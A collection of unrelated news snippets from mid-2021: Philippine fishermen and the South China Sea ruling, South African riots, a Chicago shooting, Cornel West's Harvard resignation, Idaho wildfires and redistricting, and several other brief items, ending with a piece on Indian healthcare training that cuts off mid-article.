This aerial photo taken from a drone shows fishing boats moored in Masinloc, northern Philippines, May 28, 2021.

The Philippines on Wednesday hailed Washingtons commitment to help defend Manilas South China Sea claims, while it denied assertions by local fishermen that Chinese boats were preventing them from fishing in Philippine waters five years after a landmark court ruling.

A July 2016 verdict by the Permanent Court of Arbitration in The Hague ruled in favor of the Philippines and against China over Beijings expansive claims in the contested waterway.

[W]e welcome the United States open support for the 2016 Arbitral Award, Philippine Foreign Secretary Teodoro Locsin Jr. said after he and his counterparts from the Association of Southeast Asian Nations (ASEAN) met virtually together with Americas top diplomat.

It is binding international law and the most authoritative application of UNCLOS on the maritime entitlements of features in the South China Sea. As such, it contributes to the rules-based order in ASEAN and benefits all the countries that use the vital artery that is the South China Sea, he said in a statement, referring to the United Nations Convention on the Law of the Sea.

Wednesdays talks marked the first bilateral meeting with ASEAN at the foreign ministerial level for U.S. Secretary of State Antony Blinken and the Biden administration.

The Secretary underscored the United States rejection of the PRCs [Peoples Republic of Chinas] unlawful maritime claims in the South China Sea and reiterated that the United States stands with Southeast Asian claimants in the face of PRC coercion, State Department Spokesman Ned Price said in a readout afterward.

China claims nearly all of the South China Sea, including waters within the exclusive economic zones of Brunei, Malaysia, the Philippines and Vietnam  which are all ASEAN members  and Taiwan.

On Monday, the fifth anniversary of the arbitral courts ruling, Chinas foreign ministry dismissed it as nothing more than a piece of waste paper.

That same day, Blinken came out with a statement to say that Washington, under the 70-year-old Mutual Defense Treaty with Manila, would help defend its longtime Southeast Asian ally if the Philippines came under attack in the South China Sea.

Fishermen unload an overnight catch of fish near a payao  a fish aggregating device  in Infanta, northern Philippines, May 27, 2021. [Jojo Rinoza/BenarNews]

Meanwhile, Filipino fishermen are alleging that the Rodrigo Duterte administration has not helped them to assert their rights to fish in and around Scarborough Shoal, a reef located in a prime fishing ground in the waterway.

The shoal was part of a territorial dispute that led a previous Philippine administration to lodge an unprecedented lawsuit before the court in 2013 that challenged Chinas vast claims to the sea region. Both Manila and Beijing claim the reef as their own. Scarborough Shoal is within the Philippines exclusive economic zone (EEZ).

On Wednesday, Philippine presidential spokesman Harry Roque rejected allegations by fishermen who say that Chinese coast-guard ships have been harassing or preventing Filipino fishing boats from venturing near Scarborough Shoal. China seized the reef in 2012, which led to the Philippines filing the lawsuit the next year.

On July 12, 2016, the arbitration court ruled in Manilas favor, declaring its sovereign rights to the EEZ as valid over Beijings historical claims.

Roque on Wednesday invited the mayor of Masinloc, a northern Philippine fishing town that faces the South China Sea, to attend his video-call with reporters to back his claim that Filipino fishermen have not been blocked from accessing waters around the shoal.

This is what the leadership there says, and even the boat operators  they are not prevented from fishing in Scarborough, because that is part of the decision of the tribunal, Roque told reporters.

So, I really do not know what they are saying that fishermen are being stopped.

Neither the Philippine Coast Guard nor Masinloc officials knew of any fishermen who had been harassed by Chinese ships, Roque said.

Do not worry, when it comes to Scarborough, I dont think that the Chinese will dare meddle with the likes of Mayor Senyang Lim, he said, using Masinloc mayor Arsenia Lims nickname.

Lim alleged that recent international media reports that Chinese ships were harassing or hindering Filipino fishing boats were old stories. She said fishermen had told her their catch from Scarborough Shoals waters had been bountiful.

We hope that they will stop discrediting us, and the national government is also supporting our fishermen, Lim told reporters.

If you go to Masinloc, you will see that they are not being bothered or being stopped.

Our national sovereignty

BenarNews was among international media outlets that visited Masinloc and talked to the fishermen in the days leading up to the fifth anniversary of the international arbitral ruling.

In spite of the verdict, Scarborough Shoal has remained inaccessible to Filipino fishermen since 2012, they said.

President Dutertes government has completely turned its back on our national sovereignty, Pamalakaya, a fishermens group, told BenarNews in response to Roques statement.

On Wednesday, a BBC News producer sent Roque a text message as the government spokesman was holding the press briefing, and told him that they were recently with fishermen from Masinloc who were blocked from entering the shoal.

BenarNews also sent Roque a message asking him if the Chinese were still in the area.

He replied: They have ships there, I believe.

The fishermen were scathing about Roque, who had represented them in his earlier career as a lawyer.

Our own governments cowardice and submission to China will not stop us from asserting what is rightfully ours, Pamalakaya head Fernando Hicap told BenarNews.

We no longer expect help from the current administration of Duterte. We will fight for our right to fish in our territory.
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This mural (located inside a federal building in Rutland) depicts Hampshire Grants settlers inside the James Breakenridge farmhouse in Bennington defending  on July 19, 1771  their land claims from an Albany, N.Y., posse intent on evicting many of Vermonts early settlers in favor of disputed land claims by colonial authorities representing New York. The Green Mountain Boys, and Vermont itself, trace origins back to these events, and a celebration is planned to mark the 250th anniversary of the Breakenridge Stand-off.
Greg Sukiennik has worked at all three Vermont News & Media newspapers and was their managing editor from 2017-19. He previously worked for ESPN.com, for the AP in Boston, and at The Berkshire Eagle in Pittsfield, Mass.
Onstage

What: The Niceties by Eleanor Burgess. Directed by Christina Franklin.

Who: Chester Theatre Company

Where: Hancock Shaker Village, 1843 W. Housatonic St., Pittsfield

When: July 14-25 (press opening July 15). 7:30 p.m., Thursdays through Saturdays; 3 p.m., Wednesdays, Thursdays and Sundays

Tickets: $47.50; $10 for Chester and Middlefield residents; $15, military personnel; $10, EBT and ConnectorCare Card to Culture; $10, Student Rush (available day of show only; call box office)

Reservations and information: 413-354-7771; chestertheatre.org
ADAMS  Gov. Charlie Baker will join other state officials at a news conference Wednesday to celebrate the release of $6.5 million in funding for the new Greylock Glen Outdoor Recreation and Nature Center.

The news conference will take place 11 a.m. at Greylock Glen Resort on Gould Road. Baker will be joined by Lt. Gov. Karyn Polito, Secretary of Energy and Environmental Affairs Kathleen Theoharides and Department of Conservation and Recreation Commissioner Jim Montgomery.

A livestream of the news conference will be available here.

Construction on the building  which is set to be a hub for outdoor activity on a slope below Mount Greylock  is scheduled to begin this year, with the center to open in 2022.

Following that event, Baker and other state officials will travel to the Clark Art Institute in Williamstown, where he will make a grant announcement for the Destination Development Capital Program at the Clark to highlight tourism resources and infrastructure in Massachusetts.

That announcement will also be livestreamed.
Amanda Burke covers Pittsfield City Hall for The Berkshire Eagle. An Ithaca, New York native, she previously worked at The Herald News of Fall River and the Fitchburg Sentinel & Enterprise.
A coalition of more than 50 patient and medical provider advocacy groups on Tuesday pressed the Joint Committee on Health Care Financing to advance re-filed legislation (H 1311 / S 756) that would amend the use of "step therapy," in which a health plan declines to cover a prescribed option until after a patient tries a cheaper alternative.
Bret Stephens: To help Haiti, stop trying to save it
A crew from Wolfe Roofing, Muhlenberg Township, nails cedar shingles on the roof of Epler Schoolhouse at the Berks Heritage Center in Bern Township.
Bill Cosby is ready to go on tour but he wont be welcomed to at least one popular New York City venue.

According to The New York Post, Noam Dworman, the owner of the Comedy Cellar in Greenwich Village, said Cosby will not be able to perform at the venue.

Dworman did let Aziz Ansari and Louis C.K. perform in 2018 after their sexual-misconduct allegations, which he says is no comparison.

Comparing Bill Cosby to these other guys is absurd I didnt want to talk about this to begin with. I just think these comparisons are ridiculous.



Ansari and C.K. were never charged with any crimes. Ansari faced criticism when a woman wrote about a date with the comedian in which she says he pressured her sexually. C.K. admitted to assertions that he would masturbate in front of female comedians.

Cosbys representative, Andrew Wyatt, told TMZ, Thats one club owner, and in the words of the King of R&B Bobby Brown, Its his prerogative to do what he wants to do, 

RELATED: Black Twitter Reacts To Bill Cosby's Sudden Release From Prison



Cosby served more than two years of a three-to-10-year sentence at Philadelphia-area state prison. Previously, Cosby vowed to serve all 10 years rather than acknowledge remorse over the 2004 encounter with victim and accuser Andrea Constand.

The 83-year-old was convicted of drugging and molesting Constand at his suburban home. In late 2015, he was charged when a prosecutor presented newly unsealed evidence.

According to CBS News, in 2005, Cosbys team made a deal with former prosecutor Bruce Castor, who defended Trump at his second impeachment trial, to not pursue criminal charges, which was designed to prevent Cosby from invoking the Fifth Amendment and refusing to answer questions in civil court.

However, this non-prosecution deal was never in writing, The Washington Post reports.

The Pennsylvania Supreme Court said that testimony tainted the trial, even though a lower appeals court had found it appropriate to show a signature pattern of drugging and molesting women.

Prosecutors didnt clarify if they would appeal or seek to try Cosby a third time.
Comedian and actor Cedric the Entertainer is set to host the upcoming 73rd prime-time Emmys on Sept. 19. A limited live audience of guests and nominees will gather at the Microsoft Theatre in Downtown Los Angeles.

Since I was a little boy huddled up next to my grandmother, television has always been my reliable friend, so it is an enormous honor for me to host this years Emmy Awards, Cedric the Entertainer said in an official statement, the Television Academy and CBS announced on Monday (July 12).

Cedric also shared the news in a video on Instagram.

RELATED: Emmys 2020: The Blackest Moments Of This Years Semi-Virtual Awards Show

WORD!!!! Your looking at the Host of the 2021 Emmys, he captioned his post. This about to be [fire].
Suzzanne Douglas, who passed away on July 5, will receive a special homegoing from her sorority, Delta Sigma Theta. The actress was 64.

According to TMZ, Beverly Smith, the National President and CEO of Delta Sigma Theta, confirmed that the 108-year-old organization would honor the television star with the Omega Omega service. The honorary service is the official final rite of passage and farewell for the sororitys sisters.

RELATED: When They See Us Actress Suzzanne Douglas Dies At 64

The outlet also reports that Douglas was inducted into the honorary membership in 2004 and served as Honorary Co-Chair of the National Arts & Letters Commission from 2013 to 2017. She was active in local, regional and national initiatives.
A Chicago rapper died in a hail of bullets as he was being released from jail, and two others were wounded in the attack on Saturday (July 10), police say.

Londre Sylvester, also who also went by the hip-hop monikers KTS Dre and Kutthroat Dreko, was shot in the head and body 64 times outside of the Cook County jail, the Chicago Tribune reports. He was pronounced dead at Chicagos Mount Sinai hospital about an hour after the shooting.



One of the other victims, a 60-year-old woman who was with him, was struck in the knee and is listed in good condition at a local hospital. Another woman suffered a graze wound to her mouth and is also listed in good condition.



Officials say Sylvester had just been released from custody and was fitted for an electronic monitor as a bail condition. He and the 60-year-old woman were walking to an awaiting vehicle when the suspects pulled up, jumped out of their cars and began firing at them.



After the shooting, the suspects got back into their cars and sped off, going in different directions, Chicago police said. It appears Sylvester was the intended target while (the women) were inadvertently struck, a police report says, according to the Tribune. Surveillance cameras will be reviewed from the area, police say.



Sylvester, 31, was being held for a violation of a bail bond for allegedly violating the conditions of his release on a 2020 felony gun charge. On July 1, he was ordered held on $50,000 bail, but posted the $5,000 requirement on Friday (July 9).



According to the Chicago Sun-Times, it is not clear why he didnt leave Cook County jail until the next day, or how his assailants knew when hed be walking out. However, police reports identified him as an alleged gang member and had the meaning of the acronym KTS (Kill To Survive) tattooed on his neck.



Questions about Sylvesters shooting death to the Cook County Sheriff's Department were deferred to the Chicago Police, which has not released any further details on the incident.



A woman, who withheld her identity, heard the shooting while visiting another person being held told the Sun-Times that she at first thought it was fireworks, but it turned out to be something much more dangerous.



We were talking from car to car, and I looked at her and said, Those sounded really close, she told the Sun-Times. Moments later, I heard two pops in front of the visiting area, then more in a cadence that couldnt be anything but gunshots.
At least 45 South Africans have died since riots broke out after the imprisonment of former South African president Jacob Zuma last Thursday (July 8).

Zuma began serving a 15-month service for contempt of court Thursday. The president had refused to comply with a court order to testify in a corruption investigation based on allegations while he was president from 2009 to 2018.

The unrest began in the poor areas of the Gauteng and KwaZulu-Natal provinces Thursday and escalated to looting, with the death toll reaching 45 on Tuesday (July 13) as law enforcement tried to stop the riots. Many of the victims died in looting stampedes as people stole food, liquor, clothing and electronic appliances, according to the Associated Press.

Premier David Makhura of the Gauteng province said that more than 400 people were arrested in Gautang, which includes Johannesburg, but the situation was far under control. The criminal element has hijacked this situation, said Makhura in an address aired on the state South African Broadcasting Corp.

RELATED: 153 Arrested in South Africa Looting

We understand that those unemployed have inadequate food. We understand that the situation has been made worse by the pandemic, he continued. But this looting is undermining our businesses here (in Soweto). It is undermining our economy, our community. It is undermining everything.

Makhura also appealed for leaders of political, religious and community organizations to urge people to stop the looting. 2,500 soldiers have been deployed to support the South African police. South African authorities have repeatedly warned Zuma supporters against using social media to encourage the riots.

According to the AP, at least 19 people have been killed in Gauteng, including 10 at a mall in the Meadowlands area of Soweto. KwaZulu-Natal premier Sihle Zikalala told AP Tuesday that at least 26 people have been killed in the province, with many crushed in the shops.

The unrest has not spread to South Africas seven other provinces so far, but police are on high alert, the AP reports.
The primetime special, produced by award-winning filmmaker Lacey Schwartz Delgado and Truth Aid Media , examines how legacies of hate have impacted both the Black and Jewish communities, and how these communities have historically come together in solidarity to push forward an agenda of inclusivity and collective change. The documentary will also explore how Black and Jewish communities have united in the face of increased anti-Semitism and racism in America in recent years and how that solidarity has left a pathway to allyship.

BET will highlight Black and Jewish communities and their united struggle against hate in a new 30-minute special titled, Content for Change: Black x Jewish , which airs on BET on Thursday, July 15 at 9pm/8c.

Content for Change: Black x Jewish will also include interviews and discussions from various guests who are both Black and Jewish, on facing hatred from the double-edged sword of anti-Semitism and racism and how the two prejudices are linked.

The special includes appearances by U.S. Representative Hakeem Jeffries, Rabbi Jill Jacobs, Rabbi Sharon Brous, Professor Obery Hendricks, Ph.D, Professor Susannah Heschel, social media influencer Hannah Bronfman, community organizer Eric Ward, actress Rain Pryor, radio personality Ebro Darden, and diversity consultant Yavilah McCoy.

The documentary is the latest effort of BETs Content for Change initiative, which creates content on social justice initiatives that helps drive the critical changes needed to eliminate systematic racism and inequality in America. Previous Content for Change programs include the six-part documentary series Disrupt and Dismantle with executive producer and host Soledad OBrien.

RELATED: BET News To Air State of Our Union: Vice President Kamala Harris

Content For Change: Black x Jewish is produced by Schwartz Delgado and Mehret Mandefro for Truth Aid Media, as well as executive produced by Jason Samuels with supervising producer Steven Ramey for BET and executive produced by Peter Scalettar and Ben Selkow for Mass Appeal.

For more information on Content For Change: Black x Jewish visit BET.com. Follow us @bet across these social media platforms (Facebook, YouTube, Instagram, Twitter).
A national injunction has been issued that blocks the Biden administration from enacting the loan forgiveness plan approved by Congress in March as part of the American Rescue Plan Act.

West Tennessee Chief U.S. District Judge Thomas Anderson joined other judges in blocking the Biden administration program designed to redress generation of discrimination against farmers, claiming the federal government has failed to show that the U.S. Department of Agriculture currently discriminates against people of color.

According to Knox News, the injunction is the third to result from litigation filed in seven states on behalf of white farmers in the past month. Federal judges in Wisconsin and Florida have issued similar decisions last month.

Biden announced in late March that a portion of the $1.9 trillion COVID-19 relief package included funding for a debt relief program for Black, American Indian/Alaskan Native, Hispanic, or Asian, or Hawaiian/Pacific Islander farmers. The decision to specifically target the relief because of the USDAs long history of discriminating against farmers of color and the pandemics disproportionate impact on their communities.

RELATED: Black-owned Farmland Could Expand Under New Senate Bill Introduced By Cory Booker

White Tennessee rancher Rob Holman called the debt relief plan reverse racism in litigation filed by numerous conservative legal advocacy groups.

Anderson agreed in his ruling: Absent action by the court, socially disadvantaged farmers will obtain debt relief, while (Holman) will suffer the irreparable harm of being excluded from that program solely on the basis of his race, he wrote.

In addition to federal judges objecting to the program, private industry has also taken steps to discourage its implementation. Three of the countrys biggest banking trade groups sent a letter to Secretary of Agriculture Tom Vilsack, issuing a threat to withhold credit from farmers of color if the USDA moves ahead with the initiative.

The three trade groups  the American Bankers Association, the Independent Community Bankers of America, and the National Rural Lenders Association  collectively represent a large percentage of American financial institutions. Coincidentally, these are the same institutions that spent much of the 20th century denying home and business loans to people of color.

Biden Justice Department attorneys argue the government can employ race-based exclusions if they are narrowly tailored to address a specific wrong, which includes the USDAs debt relief program.

Congress considered strong evidence that discriminatory loan practices at USDA have placed minority farmers at a significant disadvantage today: these farmers generally own smaller farms, have disproportionately higher delinquency rates, and are at a significantly higher risk of foreclosure than non-minority farmers, the government wrote in its response to Holmans injunction.

It continued: Congress found that minority farmers diminished position was only made worse by a global pandemic that disproportionately burdened them and the general failure of recent agricultural and pandemic relief to reach them.
Cornel West, the esteemed scholar and activist known for his work on race and equality as well as his social commentary, resigned from Harvard University and heavily criticized the Ivy League school in his resignation letter.

West, 68, posted his resignation to Twitter Monday (July 12). In the letter, dated June 30, West suggests that discrimination drove him to leave Harvards Divinity School.



How sad it is to see our beloved Harvard Divinity School in such decline and decay, West wrote in the letter. The disarray of a scattered curriculum, the disenchantment of talented yet deferential faculty, and the disorientation of precious students loom large.



He goes on to accuse the school of sweeping all of his courses into the Afro American Religious Studies category among other things.



With a few glorious and glaring exceptions, the shadow of Jim Crow was cast in its new glittering form expressed in the language of superficial diversity, he wrote.

West announced March 8 that he was leaving Harvard Universitys Divinity School after his request to be reviewed for tenure was denied. West told The Boycott Times that he would be moving to Union Theological Seminary in New York City. He has taught at Harvards law school, divinity school, and department of African and African American studies, according to the The Boston Globe.

RELATED: Cornel West Leaves Harvard After Saying He Was Denied Tenure

West had taught at Harvard before, leaving the school after a dispute with then-university president Larry Summers in 2002, before returning for his current tenure in 2017. West wrote that when he returned to Harvard, he received a lower salary than he first made 15 years earlier and was not offered tenure in 2017.

He also said Harvard put all of his courses under the Afro-American Religious Studies program despite their different subjects, calling his treatment, the shadow of Jim Crow was cast in its new glittering form expressed in the language of superficial diversity.

West also accused Harvard professors and faculty of cowardly deference to the anti-Palestinian prejudices of the Harvard administration, claiming that he was denied tenure because of the administrations hostility to the Palestinian cause.

Jonathan Beasley, a spokesman for Harvards Divinity School, responded Tuesday (July 12), saying simply: The School has no comment on Dr. Wests letter, according to the The Washington Post.
21 moments that move us forward: We can build.

We've identified 21 moments during 2020-21 that moved us forward. Moment No. 12  we can compete.

21 moments that move us forward: We can manage the health of our campuses.

We've identified 21 moments during 2020-21 that moved us forward. Moment No. 12  we can compete.

21 moments that move us forward: We can compete.

We've identified 21 moments during 2020-21 that moved us forward. Moment No. 12  we can compete.

21 moments that move us forward: We can have fun.

We've identified 21 moments during 2020-21 that moved us forward. Moment No. 11  we can have fun.

21 moments that move us forward: We can graduate.

We've identified 21 moments during 2020-21 that moved us forward. Moment number ten  we can graduate.

21 moments that move us forward: We can leverage technology.

We've identified 21 moments during 2020-21 that moved us forward. Moment number nineWe can leverage technology.

21 moments that move us forward: We Can Belong

We've identified 21 moments during 2020-21 that moved us forward. Moment number seven  we can work with our community.

21 moments that move us forward: We can work with our community

We've identified 21 moments during 2020-21 that moved us forward. Moment number seven  we can work with our community.

21 moments that move us forward: We can be flexible.

We've identified 21 moments during 2020-21 that moved us forward. Moment number six  we could be flexible.

21 moments that move us forward: We can research.

We've identified 21 moments during 2020-21 that moved us forward. Moment number fiveWe can research.

21 moments that move us forward: We can deliver.

We've identified 21 moments during 2020-21 that moved us forward. Moment number fourWe can deliver.

21 moments that move us forward: We can continue to partner.

We've identified 21 moments during 2020-21 that moved us forward. Moment number threeWe can continue to partner.

21 moments that move us forward: We innovate in a global pandemic

We've identified 21 moments during 2020-21 that moved us forward. Moment number onewe fundraised to increase scholarships.
Good Kings Who Honored God

2. David  the Most Famous King

After removing Saul, he made David their king. God testified concerning him: I have found David son of Jesse, a man after my own heart; he will do everything I want him to do (Acts 13:22).

Perhaps the best-known king in Scripture is King David. He is referred to as a man after Gods own heart, and responsible for bringing the nation back to God, for slaying the giant Goliath, and for writing most of the book of Psalms.

The life and rule of David holds a special significance as it was foretold that the Messiah would come from his family as one of his descendants, a prophecy fulfilled in Jesus. As a ruler, David made good decisions and sought after God. Yet his personal life was riddled with poor decisions that affected generations to come. His decision to have an affair with a married woman is the most prevalent example of sin in the life of David (2 Samuel 11).

This reminds us that David, although a great ruler, was not a perfect man. We can learn from David that we will fall, we will make mistakes. Yet as we confess our sins with a sincere heart God is faithful to forgive us, in spite of the fact that there will indeed be consequences for our behavior.

3. Hezekiah - the King Who Trusted in God

Hezekiah trusted in the LORD, the God of Israel. There was no one like him among all the kings of Judah, either before him or after him (2 Kings 18:5).

Hezekiah was thirteenth king of Judah, had a strong relationship with the prophet Isaiah, and trusted in God to fight the battles of Israel instead of trusting in his own strength. When Jerusalem was surrounded by the Assyrian armies of Sennacherib, he sent word to Hezekiah mocking his faith in God. Say to Hezekiah king of Judah: Do not let the god you depend on deceive you when he says, Jerusalem will not be given into the hands of the king of Assyria. Surely you have heard what the kings of Assyria have done to all the countries, destroying them completely. And will you be delivered? (2 Kings 19:10-11).

Yet Hezekiah trusted in God and a miraculous thing happened  without a single Jewish soldier going to battle, an angel of God wiped out the Assyrian armies (2 Kings 19:35).

Hezekiah trusted in God to the extent that when he was ill and about to die, God allowed him to live another 15 years (Isaiah 38:5).

We also owe a good section of the book of Proverbs to Hezekiah! Not because he wrote it (he didnt) but because his men copied several of Solomons proverbs so that they would be complied with the rest of the book (Proverbs 25:1).

4. Josiah  the Great Reformer

He did what was right in the eyes of the LORD and followed completely the ways of his father David, not turning aside to the right or to the left (2 Kings 22:2).

Josiah was the sixteenth king of Judah, and it was during his reign that the high priest Hilkiah found the Book of the Law in the temple (2 Kings 22:8), generally believed to be what we now know as the book of Deuteronomy.

Josiah immediately went about enacting all that was written in it, along with tearing down altars to idols and restoring Gods covenant with Israel that had been broken by the peoples selfishness (2 Kings 23).

From Josiah we learn that God is willing to forgive us when we faithfully choose to follow him, and that his word is eternal and life-giving.

Photo credit: Unsplash/Aaron Burden
BOISE, Idaho  With smoke wafting across the sky above him, Gov. Brad Little on Tuesday implored Idahoans to help minimize wildfires during a Tuesday press conference at Boises National Interagency Fire Center. He asked the public to limit outdoor activities that could spark a fire.

Idaho entered the fire season prepared as we always are  with additional investments in the Idaho Department of Lands fire program  but Idaho will only get through this fire season if we all do our part not to unintentionally start fires, Little said.

Idaho has been fortunate in recent years to avoid the devastating kind of fire seasons other states have faced, but this year could be different.

He was joined by state and federal fire managers who echoed Littles sentiments that firefighters need the publics help. The Idaho Department of Lands has responded to 202 fires across 10 districts. Josh Harvey, fire management chief of the Idaho Department of Lands, said he expects that number will go up as more accurate data comes in.

We are seeing unprecedented wildfire conditions in Idaho right now with no relief from extremely hot, dry conditions in the forecast, Idaho Department of Lands Director Dustin Miller said. The biggest issue we face right now is extremely limited resources to manage these fires, including a lack of aircraft and crews on the ground. We typically tap into our shared resources during these times, but they have very limited availability due to fires in our neighboring states. The public can help by avoiding any outdoor activity that could spark a human-caused fire.

Currently, parts of Idaho are under Stage I and Stage II fire restrictions. The press conference came on the heels of an emergency declaration that Little issued Friday at the urging of the Department of Lands  the first time the department has made such a request. Miller said one of his biggest concerns is the dwindling resources as large numbers of fires in drought-stricken California, Oregon and the West consume fire crews.

Multiple fires following an early July lightning event have contributed to a significant shortage of fire suppression resources across the region, Miller said.

Of the $30 million budgeted by the Idaho Legislature to go to firefighting efforts this year, Little said about $15 million remains.

The declaration he made allowed Little to mobilize Idaho National Guard firefighters, aircraft and resources to assist firefighting efforts in other parts of the state. Roughly a dozen fires are burning in North and Central Idaho, trapping smoke in Idaho valleys, the Idaho Statesman reported Monday.

Treasure Valley residents need only look out their windows for evidence of the massive amount of regional fires. On Tuesday, air quality in Ada and Canyon counties was in the moderate, or yellow category, the second-lowest of six categories. Air quality in Ketchum and McCall was in the orange category (unhealthy for sensitive groups), while Salmon and Lewiston were in the red category (unhealthy), according to the Idaho Department of Environmental Quality.

I didnt actually ask for the smoke today to get our point across, Little joked at his press conference.

Most of the smoke across the Treasure Valley and Southern Idaho is coming from the Bootleg Fire in southern Oregon and a complex of fires in California. The Bootleg Fire had emcompassed almost 202,000 acres as of Tuesday afternoon, according to InciWeb.

At more than 17,000 acres, the Dixie-Jumbo Fires in the Payette National Forest is the largest complex in Idaho right now.


BOISE  The COVID-related delay in getting U.S. Census figures this year could have big implications for the political careers of sitting Idaho lawmakers, as new legislative districts arent likely to be drawn and final until well after the time they could move into a new district before the next election to keep their seats.

Theres a law that says you have to live in your legislative district for a year prior to the election, noted Rep. Wendy Horman, R-Idaho Falls, as the Legislative Council got its first briefing on the upcoming redistricting process on Tuesday. If this doesnt come out till Thanksgiving, we have missed the year deadline. So for example, if you have a legislative district that has seven or eight incumbents, for example, they couldnt move. They would have to run against each other or not run. Is that correct?

Elizabeth Bowen, an attorney with the Legislative Services Office, told Horman, I do believe your interpretation is correct. The way the law reads is whomever has to have been a registered elector in your district for a least a year prior to the election.

She added, If there is great concern about that in the Legislature, it is possible that some emergency legislation is going to have to be adopted by the Legislature early next year to cover other things that have arisen as a result of the redistricting delay. Im hoping this wont be necessary, but there is the potential that the date of the primary election may have to change, for example.

Legislative staffer Keith Bybee added, Its Article 3, Section 6 of the Constitution. So emergency legislation at this point is not going to get it done. Thats where we are at this point.

It is not uncommon for multiple sitting lawmakers to end up in the same district once districts are redrawn by Idahos bipartisan citizen redistricting commission, especially in parts of the state that are slower-growing, so theyre losing districts; rather than faster-growing, so theyre gaining districts. The Treasure Valley is expected to gain a legislative district in the next round of legislative redistricting.

As a zero-sum game for redistricting, that comes at the expense of the rest of the state, Bybee said.

In the last round of redistricting a decade ago, 15th-term Sen. Denton Darrington, R-Declo, then the Senates most senior member, landed in the same district as then-Joint Finance-Appropriations Committee Co-Chair Sen. Dean Cameron, R-Rupert, one of the Senates most powerful committee chairs and a Darrington ally. Rather than run against Cameron, Darrington opted to retire from the Senate.

That district map created a dozen potential matchups among incumbents in 10 legislative districts. Sen. Patti Anne Lodge, R-Huston, ended up in the same district as then-Sen. Melinda Smyser, R-Parma. Smyser opted to retire from the Senate rather than face Lodge in the primary.

Two other sitting GOP senators, Tim Corder of Mountain Home and Bert Brackett of Rogerson, ran against each other in the 2012 GOP primary; Brackett won.

Numerous House members were affected; then-Rep. Bert Stevenson, R-Rupert, opted not to seek a ninth term, rather than face off against either GOP Reps. Scott Bedke or Fred Wood. Both of them still serve; Bedke is the speaker of the House, and Wood is the House Health & Welfare chairman.

An earlier version of that years redistricting plan would have pitted then-North Idaho GOP Sens. Shawn Keough and Joyce Broadsword against each other in the GOP primary, but the Idaho Supreme Court overturned that plan.

Both Bybee and Bowen told lawmakers Tuesday that normally, redistricting already would be under way. But this year, Idaho wont get its official U.S. Census numbers until Aug. 16. Bybee presented a schedule that would allow for a new plan to be completed by Thanksgiving, but then it still likely would face court challenges before becoming final. If Idahos citizen redistricting commission works speedily, it could potentially approve a plan by Halloween, Bybee said.

The U.S. Constitution requires that voting districts be redrawn every 10 years, based on the Census, to ensure the one-person, one-vote principle still applies in elections, as populations shift.

Idaho already has its statewide total: 1,839,106 residents. But it doesnt have the details itll need to draw district lines, and preliminary figures from the American Community Survey appear to be off substantially in the fast-growing state.

Idahos two congressional districts must be near-equal in population, at 919,553 residents apiece; its 35 legislative districts must be within 10% of equal populations.

The ideal size for a legislative district in the next go-round will be 52,546, about 12,000 more people per district than in the last redistricting, due to the states population growth. The numbers also mean Idaho will have the second-largest population per congressional district in the country, Bybee said. Only Delaware, which is a single congressional district, has more people that theyre representing, he told the Legislative Council.

At the close of Tuesdays briefing, Bedke said, Let the parlor games begin.
I analyze a bizarre decision by Notre Dame, probably the most famous Catholic university in the world. Students and faculty, in all their woke wisdom, have decided to ban Chick-fil-A from the campus.

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The institute will be henceforth known as North Eastern Institute of Ayurveda & Folk Medicine Research

The Union Cabinet has given its approval for changing the nomenclature and mandate of the North Eastern Institute of Folk Medicine (NEIFM) as the North Eastern Institute of Ayurveda & Folk Medicine Research (NEIAFMR).

Keeping in view the need, the proposal was made to change the nomenclature and mandate of North Eastern Institute of Folk Medicine (NEIFM) to North Eastern Institute of Ayurveda & Folk Medicine Research (NEIARMR) for imparting quality education and research in Ayurveda and folk medicine at Pasighat, Arunachal Pradesh. The consequential changes will also be carried out in the Memorandum of Association & Rules and Regulations.

The inclusion of Ayurveda within the mandate of the institute will be highly beneficial for the people of the North East region for imparting quality education and research in Ayurveda and folk medicine. The institute will also provide opportunities for students of Ayurveda and Folk Medicine not only in India but also the neighbouring countries such as Tibet, Bhutan, Mongolia, Nepal, China and other Central Asian countries.

The NEIFM, Pasighat was established for systemic research, documentation and validation of traditional folk medicine and health practices of the region. The objectives for which the institute was established include to function as an apex research centre for all aspects of Folk Medicine, to create an interface between traditional healers and scientific research, survey, documentation and validation of Folk Medicine practices, remedies and therapies for possible usage in public healthcare and future research etc.
Education and training are options that can help overcome the shortage of skilled healthcare workers

COVID-19 has reinforced the need for better overall healthcare infrastructure. There is not only a shortage of healthcare facilities but also the availability of doctors and skilled allied healthcare workforce. The current healthcare infrastructure has done a commendable job when it comes to handling the second wave of COVID-19.

In a developing country like India, there is still a significant lack of medical professionals and the doctor to patient ratio also is not reassuring either sad. During this pandemic time, the healthcare professionals have set themselves as a huge example of sacrifice among the nation and have undergone a great risk. The healthcare system of a country during the COVID-19 pandemic is a testament to its strength.

With the advancements and breakthroughs in technologies, education is no longer limited to four walls of a classroom. While we celebrated Doctors Day on July 1, we must look at the various initiatives that have been undertaken by the government as well as private organisations to up-skill, upscale and strengthen the healthcare workforce in the country which was much needed for a very long time.

Recently NATHEALTH-Healthcare Federation of India signed a memorandum of understanding (MoU) with The American College of Healthcare Executives (ACHE). As per the agreement, both federations will mutually strengthen healthcare systems by developing and providing leadership education and development experiences that will help in preparing healthcare professionals to become clinical leaders and improve patient care. The collaboration will bring in educational opportunities through in-person interactions, such as the Annual Congress on Healthcare Leadership.

Dr Harsh Mahajan, President, NATHEALTH, Gurugram comments, "The second wave of COVID-19 has been an eye opener for the medical fraternity. As we are preparing ourselves for a possible third wave of the pandemic and its subtle shift to an endemic, a lot of focus is on strengthening our systems to deal with the surge in cases- both for COVID and non-COVID. Challenges that we are currently facing of bed and oxygen shortage, non-availability of essential drugs can be resolved with necessary interventions at central and state level but addressing skilling and manpower crisis amidst these tough times will greatly help providers give better care.

Skilled youth in healthcare

Tata STRIVE and Wipro GE Healthcare have also collaborated to skill youth for jobs in the healthcare sector over a period of three years. The agreement aims to skill 6,200 candidates in various technical and operational areas of healthcare.

As part of this partnership, Wipro GE Healthcare will design, develop and implement industry-relevant, hands-on training with a goal of achieving gainful employment for these students, many of whom belong to underprivileged sections of society. These collaborations are very crucial in the current scenario.

Shravan Subramanyam, Managing Director, Wipro GE Healthcare, South Asia, Bengaluru says, Building a strong pipeline of allied healthcare professionals can be a strategic intervention in the healthcare sector. This partnership focuses not only on employment but also focuses on bridging the skill gap prevalent in the healthcare sector along with upliftment of women in the society.

Govt's initiative

